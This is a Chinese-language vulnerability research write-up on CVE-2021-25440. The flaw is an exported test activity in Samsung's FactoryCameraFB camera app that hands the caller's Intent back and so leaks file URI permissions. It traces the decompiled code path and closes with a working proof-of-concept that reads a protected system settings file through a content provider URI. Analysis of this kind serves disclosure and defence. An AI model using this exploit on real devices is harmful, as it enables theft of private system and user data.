[CVE-2021-25440] [Samsung] [FactoryCameraFB] CameraTestActivity导出存在文件读写权限泄露漏洞

DateVersionDescriptionAuthor

2022.11.26

1.0

完整的漏洞分析与利用

wnagzihxa1n

0x00 漏洞概述

0x01 触发条件

上线日期应用名包名版本号MD5下载链接

FactoryCameraFB

com.sec.factory.camera

3.4.43

f1f9f8bf5250724bd461ed656c1dbe61

0x02 PoC

0x03 前置知识

0x04 Root Cause Analysis

组件com.sec.android.app.camera.CameraTestActivity导出

<activity 
        android:configChanges="keyboard|keyboardHidden|mcc|mnc|navigation|orientation|screenLayout|screenSize|smallestScreenSize|uiMode" 
        android:excludeFromRecents="true" 
        android:label="@string/app_name" 
        android:name="com.sec.android.app.camera.CameraTestActivity" 
        android:noHistory="false" 
        android:screenOrientation="portrait" 
        android:theme="@style/AppTheme.NoActionBar">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
    </intent-filter>
</activity>

当组件CameraTestActivity被启动的时候,首先调用方法onCreate()[1]获取外部传入的__mTestCode__,这个字段会在后续流程中使用到,方法isCameralyzerTest()返回false,不会进入[2],直接走入label_187[3]将传入的Intent保存在__mIncomingIntent__

// com.sec.android.app.camera.CameraTestActivity
@Override  // android.support.v4.app.FragmentActivity
protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);

    this.__mTestCode__ = this.mIntentDecoder.getTestCode(this.getIntent());  // [1]
    if(("PRE".equals(this.getIntent().getStringExtra("testtype"))) && ((Build.MODEL.startsWith("SM-A805")) || Build.VERSION.SDK_INT >= 29) && (Utils.isFactoryBinary())) {
        SemSystemProperties.set("persist.vendor.camera.eeprom.reload", "1");
        Log.i("FACAM/CamTestActivity", "onCreate: reload " + SemSystemProperties.get("persist.vendor.camera.eeprom.reload"));
    }

    if(this.isCameralyzerTest()) {
        Log.i("FACAM/CamTestActivity", "onCreate: start Cameralyzer, TestCode is " + this.__mTestCode__);
        Intent intent = new Intent("com.sec.factory.cameralyzer.ACTION_CAMERASCRIPT");
        intent.setClassName("com.sec.factory.cameralyzer", "com.sec.factory.cameralyzer.CzrV2Activity");
        intent.putExtra("mode", "factory");
        switch(com.sec.android.app.camera.CameraTestActivity.3.$SwitchMap$com$sec$android$app$camera$TestCode[this.__mTestCode__.ordinal()]) {
            ...

            default: {
                goto label_187;  // [2]
            }
        }

        intent.putExtra("page", "/testcase/15_multical.html");
        this.startActivityForResult(intent, TestCode.T15_MULTICAL.ordinal());
        return;
    }

label_187:
    this.requestWindowFeature(1);
    this.setContentView(0x7F0B001D);  // layout:activity_factory_camera
    this.getWindow().setFlags(0x400, 0x400);
    if(Build.VERSION.SDK_INT >= 28) {
        WindowManager.LayoutParams windowManager$LayoutParams = this.getWindow().getAttributes();
        try {
            Field field = windowManager$LayoutParams.getClass().getField("layoutInDisplayCutoutMode");
            field.setAccessible(true);
            field.setInt(windowManager$LayoutParams, 1);
            windowManager$LayoutParams.getClass().getField("privateFlags").setAccessible(true);
            this.getWindow().setAttributes(windowManager$LayoutParams);
        }
        catch(Exception exception) {
            exception.printStackTrace();
        }
    }

    this.__mIncomingIntent__ = this.getIntent();  // [3]
}

只需要系统种不存在包名为com.sec.factory.cameralyzer的应用或者字段__mTestCode__不为如下几个值,即可让isCameralyzerTest()返回false

// com.sec.android.app.camera.CameraTestActivity
private boolean isCameralyzerTest() {
    return (this.isPackageInstalled("com.sec.factory.cameralyzer", this)) 
                && (this.__mTestCode__ == TestCode.T15_TOF 
                        || this.__mTestCode__ == TestCode.HW_TOF 
                        || this.__mTestCode__ == TestCode.T15_TOF_REAR 
                        || this.__mTestCode__ == TestCode.T15_TOF_FRONT 
                        || this.__mTestCode__ == TestCode.PRE_TOF_REAR 
                        || this.__mTestCode__ == TestCode.PRE_TOF_FRONT 
                        || this.__mTestCode__ == TestCode.PRE_TOF_PREVIEW_REAR 
                        || this.__mTestCode__ == TestCode.PRE_TOF_PREVIEW_FRONT 
                        || this.__mTestCode__ == TestCode.SECRETMENU 
                        || this.__mTestCode__ == TestCode.T15_MULTICAL 
                        || this.__mTestCode__ == TestCode.CS_MOTOR_CAL);
}

方法getTestCode()的数据需要从全局变量里取,[2]先匹配,匹配上再获取[3]

this.mRules = new Rule[]{
    new Rule(this, TestCode.CAMEAUTO_0100, "CAMEAUTO", new String[]{"0", "1", "0", "0"}), 
    new Rule(this, TestCode.CAMEAUTO_0101, "CAMEAUTO", new String[]{"0", "1", "0", "1"}), 
    new Rule(this, TestCode.CAMEAUTO_0200, "CAMEAUTO", new String[]{"0", "2", "0", "0"}), 
    new Rule(this, TestCode.CAMEAUTO_0201, "CAMEAUTO", new String[]{"0", "2", "0", "1"}), 
    ...
    new Rule(this, TestCode.CZR, "NCAMTEST", new String[]{"7", "1", "1", "0"})};
    }

// com.sec.android.app.camera.IntentDecoder
public TestCode getTestCode(Intent __intent__) {
    Log.d("FACAM/IntentDecoder", "getTestCode");
    return this.decodeTestCode(__intent__, this.mRules);  // [1]
}

// com.sec.android.app.camera.IntentDecoder
public TestCode decodeTestCode(Intent __intent__, Rule[] arr_intentDecoder$Rule) {
    String __intent_testtype__ = __intent__.getStringExtra("testtype");
    String[] arr_s = {__intent__.getStringExtra("arg1"), __intent__.getStringExtra("arg2"), __intent__.getStringExtra("arg3"), __intent__.getStringExtra("arg4")};
    int i;
    for(i = 0; i < arr_intentDecoder$Rule.length; ++i) {
        Rule intentDecoder$Rule = arr_intentDecoder$Rule[i];
        if(__intent_testtype__ != null && (intentDecoder$Rule.isMatched(__intent_testtype__, arr_s))) {  // [2]
            Log.d("FACAM/IntentDecoder", "getRule : " + intentDecoder$Rule.testCode);
            return intentDecoder$Rule.testCode;  // [3]
        }
    }

    Log.e("FACAM/IntentDecoder", "decodeTestCode not found in rules " + arr_intentDecoder$Rule[0].testCode);
    return TestCode.NONE;
}

方法onCreate()执行完后,进入onResume(),方法isCameralyzerTest()返回false[2]取传入Intent,在方法onCreate()里赋值的__mTestCode__不能是TestCode.NONE,满足这几个条件之后,[3]调用方法runTest()

// com.sec.android.app.camera.CameraTestActivity
@Override  // android.support.v4.app.FragmentActivity
protected void onResume() {
    super.onResume();
    if(this.isCameralyzerTest()) {  // [1]
        return;
    }

    Log.i("FACAM/CamTestActivity", "onResume");
    if(((DevicePolicyManager)this.getBaseContext().getSystemService("device_policy")).getCameraDisabled(null)) {
        Log.w("FACAM/CamTestActivity", "onResume: camera disabled in device policy service");
        Toast.makeText(this, 0x7F0F0060, 0).show();  // string:security_restricts_camera "Security policy restricts use of Camera"
        this.finish();
        return;
    }

    this.mFragment = (FactoryCameraFragment)this.getSupportFragmentManager().findFragmentById(0x7F080038);  // id:cameraFragment
    this.getWindow().addFlags(0x80);
    SemWindowManager.getInstance().requestSystemKeyEvent(3, this.getComponentName(), true);
    SemWindowManager.getInstance().requestSystemKeyEvent(26, this.getComponentName(), true);
    SemWindowManager.getInstance().requestSystemKeyEvent(0xBB, this.getComponentName(), true);
    Intent __intent__ = this.getIntent();  // [2]
    if(__intent__ != null && __intent__.getExtras() != null) {
        if(this.__mTestCode__ != TestCode.NONE) {
            this.mFragment.runTest(this.__mTestCode__, this.getIntent());  // [3]
            this.registerBroadcastIntentFilter();  // [4]
            if(!Utils.isFactoryBinary()) {
                this.registerFlashBroadcastIntentFilter();
            }

            return;
        }

        Log.e("FACAM/CamTestActivity", "onResume: No Test is defined.");
        this.finish();
        return;
    }

    Log.e("FACAM/CamTestActivity", "onResume: No intent is sent.");
    this.finish();
}

[2]会根据__testCode__构造Testlet,这里实际上有多种路径,如果方法isRestrictedTestByOsVersion()返回值为true,可以调用[4],如果返回值为false,则会直接返回

// com.sec.android.app.camera.FactoryCameraFragment
public void runTest(TestCode __testCode__, Intent __intent__) {
    Log.i("FACAM/FCFragment", "runTest : TestCode is " + testCode);
    this.__mTestCaseCode__ = __testCode__;
    this.__mIntent__ = __intent__;  // [1]
    if(this.isResumed()) {
        this.mWaitToTest = false;
        this.__mCurrentTest__ = this.isRestrictedTestByOsVersion(__testCode__) ? null : this.getTestlet(__testCode__, __intent__);  // [2]
        Log.i("FACAM/FCFragment", "runTest : CurrentTest is " + this.__mCurrentTest__);
        Testlet __testlet__ = this.__mCurrentTest__;  // [3]
        if(__testlet__ != null) {
            __testlet__.test();
            return;
        }

        Log.e("FACAM/FCFragment", "runTest Test case is null.");
        CameraTestActivity.printAllExtras(__intent__);
        ((CameraTestActivity)this.getActivity()).sendResultAndFinish(-1);  // [4]
        return;
    }

    this.mWaitToTest = true;
}

方法isRestrictedTestByOsVersion()通过构造参数可以返回true也可以返回false

// com.sec.android.app.camera.FactoryCameraFragment
private boolean isRestrictedTestByOsVersion(TestCode __testCode__) {
    int v = com.sec.android.app.camera.FactoryCameraFragment.1.$SwitchMap$com$sec$android$app$camera$TestCode[__testCode__.ordinal()];
    if(v != 44 && v != 45) {
        switch(v) {
            case 90: 
            case 91: 
            case 92: 
            case 0x72: 
            case 0x73: 
            case 0x74: 
            case 0x75: 
            case 0x76: 
            case 0x77: 
            case 120: 
            case 0x79: {
                break;
            }
            default: {
                return false;
            }
        }
    }

    if(Build.VERSION.SDK_INT < 30) {
        Log.e("FACAM/FCFragment", "isRestrictedTestByOsVersion test " + __testCode__ + " is not supported under R OS : " + Build.VERSION.SDK_INT);
        return true;  // [1]
    }

    return false;
}

不管走那个路径,最后都会走到方法sendResultAndFinish(),然后将传入Intent传入方法setResult(),如果这个Intent里包含读写标志位和文件URI,即可泄露文件的读写权限

// com.sec.android.app.camera.CameraTestActivity
public void sendResultAndFinish(int v) {
    this.sendResultAndFinish(v, null);  // [1]
}

// com.sec.android.app.camera.CameraTestActivity
public void sendResultAndFinish(int v, String s) {
    Log.i("FACAM/CamTestActivity", "sendResultAndFinish : " + v + ", " + s);
    this.sendResult(v, s);  // [2]
    this.setResult(v, this.__mIncomingIntent__);  // [3]
    this.finish();
}

方法sendResult()实际上是发送广播

// com.sec.android.app.camera.CameraTestActivity
public void sendResult(int v, String s) {
    Log.i("FACAM/CamTestActivity", "sendResult : " + v + ", " + s);
    this.sendBroadcast(this.__mIncomingIntent__);
}

完整的逻辑调用图

0x05 调试与利用

Oversecured实验室的PoC

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0/settings_secure.xml"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    i.setClassName("com.sec.factory.camera", "com.sec.android.app.camera.CameraTestActivity");
    i.putExtra("testtype", "NCAMTEST");
    i.putExtra("arg1", "0");
    i.putExtra("arg2", "1");
    i.putExtra("arg3", "2");
    i.putExtra("arg4", "0");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try {
        Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(data.getData())));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}

0x06 漏洞研究

0x07 References

《Two weeks of securing Samsung devices: Part 2》

  • https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-2/

附录:调试过程记录

Last updated